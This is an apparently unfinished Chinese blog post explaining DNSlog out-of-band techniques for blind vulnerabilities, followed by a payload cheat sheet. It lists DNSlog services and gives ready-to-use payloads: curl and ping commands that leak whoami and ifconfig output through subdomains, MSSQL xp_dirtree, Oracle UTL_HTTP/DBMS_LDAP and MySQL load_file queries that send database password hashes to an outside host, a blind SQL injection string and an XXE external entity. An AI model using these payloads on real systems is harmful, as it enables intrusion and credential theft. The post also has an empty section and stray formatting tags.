• 不要点,未写完!DNSlog资产外连


     

    0x00 簡介

    DNSLOG是一种回显机制,用于在某些漏洞无法回显但可以发起DNS请求的场景中,主要利用场景:

    (1)SQL注入中的盲注
    (2)XSS盲打
    (3)无回显的命令执行
    (4)无回显的SSRF
    (5)无回显的XXE(Blind XXE)

    下面讲解产生原理、DNSLOG平台搭建方法,实操Demo,利用汇总。

    0x01产生原理

    0x02操作Demo

    推薦平臺:

    http://www.dnslog.cn

    http://admin.dnslog.link

    http://ceye.io

     

    http://dnslog.cn/ 仅支持DNS数据外带
    http://ceye.io/ 支持DNS和HTTP两种数据外带方式(推荐使用 )



    dnslog.link

    dnslog.cn

    dnslog.io

    tu4.org

    awvsscan119.autoverify.cn

    burpcollaborator.net

    s0x.cn

    https://log.咕.com/

    https://github.com/BugScanTeam/DNSLog(开源可自行搭建的平台)

     

    windows主机和Linux主機使用方法

    ping %COMPUTERNAME%.dnslog.com.cn  [/size][/align]

    [align=left][size=3]%COMPUTERNAME% 是一个变量,得到计算机名[/size][/align]

    [align=left][size=3]%ALLUSERSPROFILE% : 列出所有用户Profile文件位置。

    linux下命令执行:

    符号:反引号`

    作用:反引号括起来的字符串被shell解释为命令行,在执行时,shell首先执行该命令行,并以它的标准输出结果取代整个反引号(包括两个反引号)部分

    另附linux下利用dnslog回显的命令。DNS在解析的时候会留下日志,读取多级域名的解析日志,来获取信息。

    curl 3ny8ju.dnslog.cn /`ifconfig|base64|tr 'n' '-'`

    0x03 DNSlog Payload匯總

    命令执行处

    linux

    1     curl http://ip.port.xxx.ceye.io/`whoami`
    2     ping `whoami`.ip.port.xxx.ceye.io
     

    windows

    1. ping %USERNAME%.xxxx.ceye.io
        1.//变量 类型 描述
        2.//%ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。
        3.//%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。
        4.//%CD% 本地 返回当前目录字符串。
        5.//%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。
        6.//%CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。
        7.//%COMPUTERNAME% 系统 返回计算机的名称。
        8.//%COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。
        9.//%DATE% 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
        10.//%ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。
        11.//%HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
        12.//%HOMEPATH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
        13.//%HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
        14.//%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。
        15.//%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。
        16.//%OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
        17.//%PATH% 系统 指定可执行文件的搜索路径。
        18.//%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。
        19.//%PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
        20.//%PROCESSOR_IDENTFIER% 系统 返回处理器说明。
        21.//%PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。
        22.//%PROCESSOR_REVISION% 系统 返回处理器的版本号。
        23.//%PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
        24.//%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
        25.//%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
        26.//%SYSTEMROOT% 系统 返回 Windows server operating system 根目录的位置。
        27.//%TEMP%和%TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
        28.//%TIME% 系统 返回当前时间。使用与 time /t 命令相同的格式。由 Cmd.exe 生成。有关 time 命令的详细信息,请参阅 Time。
        29.//%USERDOMAIN% 本地 返回包含用户帐户的域的名称。
        30.//%USERNAME% 本地 返回当前登录的用户的名称。
        31.//%USERPROFILE% 本地 返回当前用户的配置文件的位置。
        32.//%WINDIR% 系统 返回操作系统目录的位置。
     

    注入方面

    MSSQL

    1     DECLARE @host varchar(1024);
    2     SELECT @host=(SELECT TOP 1
    3     master.dbo.fn_varbintohexstr(password_hash)
    4     FROM sys.sql_logins WHERE name='sa')
    5     +'.ip.port.b182oj.ceye.io';
    6     EXEC('master..xp_dirtree
    7     "\\'+@host+'\foobar$"');
     

    Oracle

    1     SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');
    2     SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;
    3     SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
    4     SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;
    5     SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;
     

    Mysql

    原理:利用UNC路径去访问服务器,dns会有日志,通过子查询,将内容拼接到域名内,利用MYSQL内置函数load_file()去访问共享文件,访问的域名被记录,此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志。

    1 SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));

    注意:MySQL利用有限制条件,关键函数“secure_file_priv为空” show variables like '%secure_file_priv'

    当前站点为root权限,因为一般情况下root才能使用load_file

    secure_file_priv为空(NULL和空区别开,完全不一样的概念)

    当前站点的服务器为windows

    为什么要求当前站点服务器为windows呢?这里就涉及到Windows的一个东西——UNC路径?

    UNC路径

    UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
    \\abc.xxx\test

    因为load_file要通过UNC路径来向域名发起请求带出数据,而linux服务器没有这个东西,所以才有这个限制。

    利用方式

    借别人的图先来看一下在mysql的基本用法,直接在mysql执行:

    select load_file('\\\\requests.xxxx.ceye.io\\aa');

    需要用4个\的原因是,要对\进行转义,每一个\转义一个\,所以就有了四个\。

    查看dnslog

    这是最基本的用法,看下在盲注的实战中的用法:

    payload:' and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))),1,0)--+

    利用concat()函数将查询的数据库名和域名拼接,执行后查看DNSlog

    可以看到库名已经被带出。



    XML

    1     <?xml version="1.0" encoding="UTF-8"?>
    2     <!DOCTYPE root [
    3     <!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test">
    4     %remote;]>
    5     <root/>

    參考链接:https://www.jianshu.com/p/d2aaed8f2900

    https://bbs.ichunqiu.com/thread-61037-1-1.html

     https://www.cnblogs.com/bonelee/p/14906516.html

    https://www.freebuf.com/articles/network/234126.html

    http://www.cncsto.com/article/78320.html(外带)

  • 相关阅读:
    【图灵学院09】RPC底层通讯原理之Netty线程模型源码分析
    【图灵学院10】高并发之java线程池源码分析
    【图灵学院02】大型互联网技术之数据库分库分表
    【图灵学院01】Java程序员开发效率工具IntelliJ IDEA使用
    【OD深入学习】Java多线程面试题
    高级工程师->架构师
    架构师成长之路
    python--openCV--鼠标事件
    python--openCV--视频处理
    python--openCV
  • 原文地址:https://www.cnblogs.com/Gouwa/p/15946605.html
Copyright © 2020-2023  润新知